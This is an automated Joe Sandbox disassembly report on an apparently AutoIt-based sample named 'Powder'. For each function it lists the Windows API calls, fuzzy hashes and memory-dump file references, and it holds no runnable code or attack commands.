Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 0ac56f6609c8ef87cd87a76c1ba4f55746d39fe3425d1847445f2273da90e961
Instruction ID: 42c2b5466503d59f051a02e1d8d26a4a2370d526dcb4d8015d2aae035baec2aa
Opcode Fuzzy Hash: 0ac56f6609c8ef87cd87a76c1ba4f55746d39fe3425d1847445f2273da90e961
Instruction Fuzzy Hash: 3651D6706003C9DFDF25CF66D888B9EBBF9EF44314F144129E82297291E7709A45DB51

Function 00C81B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00C81B76
GetWindowRect.USER32(?,?), ref: 00C81BDA
ScreenToClient.USER32(?,?), ref: 00C81BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00C81C08
EndPaint.USER32(?,?), ref: 00C81C52

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 5bcac29f76066051fe39ca8ea57b9efe96183fdf7300715077469d5415802c62
Instruction ID: 5ac54246d6eacb2b682e0c9faa9278e451893b2a7cb8eec5912d4c0782484985
Opcode Fuzzy Hash: 5bcac29f76066051fe39ca8ea57b9efe96183fdf7300715077469d5415802c62
Instruction Fuzzy Hash: B041AD30104300AFD710EF25CC88FAA7BE8EB46368F180669F9A5C72A1C7709946DB65

Function 00CF7788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00CF550C,?,?,00000000,00000001), ref: 00CF7796

Part of subcall function 00CF406C: GetWindowRect.USER32(?,?), ref: 00CF407F

GetDesktopWindow.USER32 ref: 00CF77C0
GetWindowRect.USER32(00000000), ref: 00CF77C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00CF77F9

Part of subcall function 00CE57FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE5877

GetCursorPos.USER32(?), ref: 00CF7825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00CF7883

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 84ceae1f5bdd7acc90e326052449f9642b0e10946d8d0ee3720b4fd2e177f55b
Instruction ID: 7e0520d8a412d790443e9b26c5ccbb6cdc75d38ea2a8fbf58a68dcfbd2b421a0
Opcode Fuzzy Hash: 84ceae1f5bdd7acc90e326052449f9642b0e10946d8d0ee3720b4fd2e177f55b
Instruction Fuzzy Hash: ED31D472508309ABD720DF14C849FABBBAAFF88354F000919F595E7181CA70EA45CBA2

Function 00CD9431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CD8CDE
Part of subcall function 00CD8CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CD8CE8
Part of subcall function 00CD8CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CD8CF7
Part of subcall function 00CD8CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CD8CFE
Part of subcall function 00CD8CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CD8D14

GetLengthSid.ADVAPI32(?,00000000,00CD904D), ref: 00CD9482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00CD948E
HeapAlloc.KERNEL32(00000000), ref: 00CD9495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00CD94AE
GetProcessHeap.KERNEL32(00000000,00000000,00CD904D), ref: 00CD94C2
HeapFree.KERNEL32(00000000), ref: 00CD94C9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 7fbf08e5bacec63dc966590adff34320ae5f1b98f7dc7284ba008b88058322a3
Instruction ID: 53ba62ef022890bfe6005dee79a7086f149abbda9dd1d1ff1731200669d039a0
Opcode Fuzzy Hash: 7fbf08e5bacec63dc966590adff34320ae5f1b98f7dc7284ba008b88058322a3
Instruction Fuzzy Hash: A8119D76601704FFDB10ABA4CC09BEF7BA9EB46315F10801AF945D7311CB399A82CB60

Function 00CD91CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00CD9200
OpenProcessToken.ADVAPI32(00000000), ref: 00CD9207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00CD9216
CloseHandle.KERNEL32(00000004), ref: 00CD9221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00CD9250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00CD9264

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 7f68a62f9d8cf0543823f11165aaa72e8aabdbd1df80650d5e03b123737c6e74
Instruction ID: c46f111fdc19f8b1213f395aedbe4bc09d1bfca0b33a31e41dc0173370aa48f4
Opcode Fuzzy Hash: 7f68a62f9d8cf0543823f11165aaa72e8aabdbd1df80650d5e03b123737c6e74
Instruction Fuzzy Hash: 3F115C7650120EBBDF019F94DD49FDE7BA9EF08304F048015FE05A2260C7719EA1DB60

Function 00CDC329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CDC34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00CDC35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CDC366
ReleaseDC.USER32(00000000,00000000), ref: 00CDC36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00CDC385
MulDiv.KERNEL32(000009EC,?,?), ref: 00CDC397

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: f50bb61be19522b7d37e7863dadeacfa50178496805e6219d3954dddd13f68cc
Instruction ID: 8e400e3cfbfe92eb01b5d5e0d140c5a788c9a427758aa25885730dd2e8da6cb3
Opcode Fuzzy Hash: f50bb61be19522b7d37e7863dadeacfa50178496805e6219d3954dddd13f68cc
Instruction Fuzzy Hash: 8C014875E00315BBDF105BA59C49A9EBFB8EB48751F008066FA04E7350DA709D51CFA0

Function 00D0C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00C816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C81729
Part of subcall function 00C816CF: SelectObject.GDI32(?,00000000), ref: 00C81738
Part of subcall function 00C816CF: BeginPath.GDI32(?), ref: 00C8174F
Part of subcall function 00C816CF: SelectObject.GDI32(?,00000000), ref: 00C81778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00D0C57C
LineTo.GDI32(00000000,00000003,?), ref: 00D0C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D0C59E
LineTo.GDI32(00000000,00000000,?), ref: 00D0C5AE
EndPath.GDI32(00000000), ref: 00D0C5BE
StrokePath.GDI32(00000000), ref: 00D0C5CE

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 86768e2674ff052e7fd863628544ba903964e37861bec4e3d00f951f4f7cff8e
Instruction ID: 8c6a34a9cf7e3eadb7001c767b7ebbdd2d771cd23ab0cad5a2088385fc51ecbf
Opcode Fuzzy Hash: 86768e2674ff052e7fd863628544ba903964e37861bec4e3d00f951f4f7cff8e
Instruction Fuzzy Hash: A811DE7600024DBFDF12AF90DC88FDA7FADEB08354F048051B958962A0DB71AE95DBB0

Function 00CA07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CA07EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00CA07F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CA07FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CA080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00CA0812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CA081A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 00615af73692f11c5b8a5944c6ff3812822cac7041c771cd2133978e3c6913eb
Instruction ID: cc73ace975b006676072090facf5c1bb1a276592f5067a4f9c4e660c5069953a
Opcode Fuzzy Hash: 00615af73692f11c5b8a5944c6ff3812822cac7041c771cd2133978e3c6913eb
Instruction Fuzzy Hash: 4E016CB09017597DE3009F5A8C85B52FFA8FF59354F00411BE15C47A41C7F5A864CBE5

Function 00CE59A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00CE59B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00CE59CA
GetWindowThreadProcessId.USER32(?,?), ref: 00CE59D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE59E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE59F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE59F9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 98e27ba4f3e84f93e4e27473fe06af4ce6ea3330d797df48a0a38e6a08c10d96
Instruction ID: ffb0070efa72e5a2d40a2a54009ed387b92348f196cb10ff53bc8fa21673a7cf
Opcode Fuzzy Hash: 98e27ba4f3e84f93e4e27473fe06af4ce6ea3330d797df48a0a38e6a08c10d96
Instruction Fuzzy Hash: D0F01D32241258BBE7216B929C0EEEF7E7CEBC6B11F004159FA05D1150DFE51A9286B5

Function 00CE77EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00CE77FE
EnterCriticalSection.KERNEL32(?,?,00C8C2B6,?,?), ref: 00CE780F
TerminateThread.KERNEL32(00000000,000001F6,?,00C8C2B6,?,?), ref: 00CE781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00C8C2B6,?,?), ref: 00CE7829

Part of subcall function 00CE71F0: CloseHandle.KERNEL32(00000000,?,00CE7836,?,00C8C2B6,?,?), ref: 00CE71FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00CE783C
LeaveCriticalSection.KERNEL32(?,?,00C8C2B6,?,?), ref: 00CE7843

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 1118e39db291c1d90aa67b26abdf1e6577f5157abae3ce78a817eed0e380c1bc
Instruction ID: c510ea4fb24152c9d2f79f632d4f3a7a506a14139b6a450161c6cd9a9614aecc
Opcode Fuzzy Hash: 1118e39db291c1d90aa67b26abdf1e6577f5157abae3ce78a817eed0e380c1bc
Instruction Fuzzy Hash: 76F03A32545312BBD7213B64EC8CAEA7B29BF45302B144525F502E51A0DFF95992CB64

Function 00CD954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00CD9555
UnloadUserProfile.USERENV(?,?), ref: 00CD9561
CloseHandle.KERNEL32(?), ref: 00CD956A
CloseHandle.KERNEL32(?), ref: 00CD9572
GetProcessHeap.KERNEL32(00000000,?), ref: 00CD957B
HeapFree.KERNEL32(00000000), ref: 00CD9582

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 83f68fb60813510d40465ec3d0fd89014f601665656fa14140b1f740974a38aa
Instruction ID: 6abe9da58e0af0d9179a98f3a4259554b30af4526bb7a8677ab61d7fec99fdaf
Opcode Fuzzy Hash: 83f68fb60813510d40465ec3d0fd89014f601665656fa14140b1f740974a38aa
Instruction Fuzzy Hash: AAE0C936104305BBD6012BE1EC0C995BF29FB597217108220F225C1270CFB664E2DB60

Function 00CF8CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CF8CFD
CharUpperBuffW.USER32(?,?), ref: 00CF8E0C
VariantClear.OLEAUT32(?), ref: 00CF8F84

Part of subcall function 00CE7B1D: VariantInit.OLEAUT32(00000000), ref: 00CE7B5D
Part of subcall function 00CE7B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00CE7B66
Part of subcall function 00CE7B1D: VariantClear.OLEAUT32(00000000), ref: 00CE7B72

Strings

AUTOIT.ERROR, xrefs: 00CF8E12
Incorrect Parameter format, xrefs: 00CF8D35, 00CF8EF7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 728f613eb8df833275e39567d22b6cbeb78b11e295ac258a82f33c93a3d4911c
Instruction ID: b74abb434735e691b652e12dd2e9da31678db4a61f6980f48c236aecd1637341
Opcode Fuzzy Hash: 728f613eb8df833275e39567d22b6cbeb78b11e295ac258a82f33c93a3d4911c
Instruction Fuzzy Hash: 7091B0706043069FCB40EF24C48096ABBF5EF89314F14892EF9998B3A1DB30ED49CB52

Function 00CE323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9436A: _wcscpy.LIBCMT ref: 00C9438D

_memset.LIBCMT ref: 00CE332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00CE335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00CE3410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00CE343E

Strings

0, xrefs: 00CE331A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 848a2d9e80aaebbf23802143e80d27b22b847d84afedc8b7409638f19fe13ec9
Instruction ID: 00e2e0523a5297a16962c2d592ae46dc89d7935ca290c5cfa173b1b2aa978844
Opcode Fuzzy Hash: 848a2d9e80aaebbf23802143e80d27b22b847d84afedc8b7409638f19fe13ec9
Instruction Fuzzy Hash: 1B51F3316083C19BD7169F2AC849A6BBBE4AF85360F04452DF8A5D31E1DB30EF44CB62

Function 00CE2EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00CE2F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00CE2FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00D47890,00000000), ref: 00CE3012

Strings

0, xrefs: 00CE2F5C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 6d84f2c7dd374e352c547daba61c41ee67b3ced3e4cb68e56c62faa4d955ff28
Instruction ID: ef0ef4da739885d049becb4ce55403f91a7061fd81fc2ef7b87c32f154064e95
Opcode Fuzzy Hash: 6d84f2c7dd374e352c547daba61c41ee67b3ced3e4cb68e56c62faa4d955ff28
Instruction Fuzzy Hash: F041C5312043C19FD720DF26C889B5ABBE8AF85310F144A1DF56697391DB70EA05CB62

Function 00CD9A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00CD9ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00CD9ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00CD9B0F

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Strings

ListBox, xrefs: 00CD9A8B
ComboBox, xrefs: 00CD9A56

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: fa1fe910053d88f05156c04828542a1ace3a8a8fefc525c230ddf8e33a2384e7
Instruction ID: de51e1e1a9231c62f8f629420508fe9f57cd3946efe7b23fff0291597a1d3d99
Opcode Fuzzy Hash: fa1fe910053d88f05156c04828542a1ace3a8a8fefc525c230ddf8e33a2384e7
Instruction Fuzzy Hash: 4221E176A40204BFDF24ABA4DC4ACFEBB68DF41360F15411BF925A73D1DB344E4AA660

Function 00D06A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C8214F
Part of subcall function 00C82111: GetStockObject.GDI32(00000011), ref: 00C82163
Part of subcall function 00C82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C8216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00D06A86
LoadLibraryW.KERNEL32(?), ref: 00D06A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00D06AA2
DestroyWindow.USER32(?), ref: 00D06AAA

Strings

SysAnimate32, xrefs: 00D06A61

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

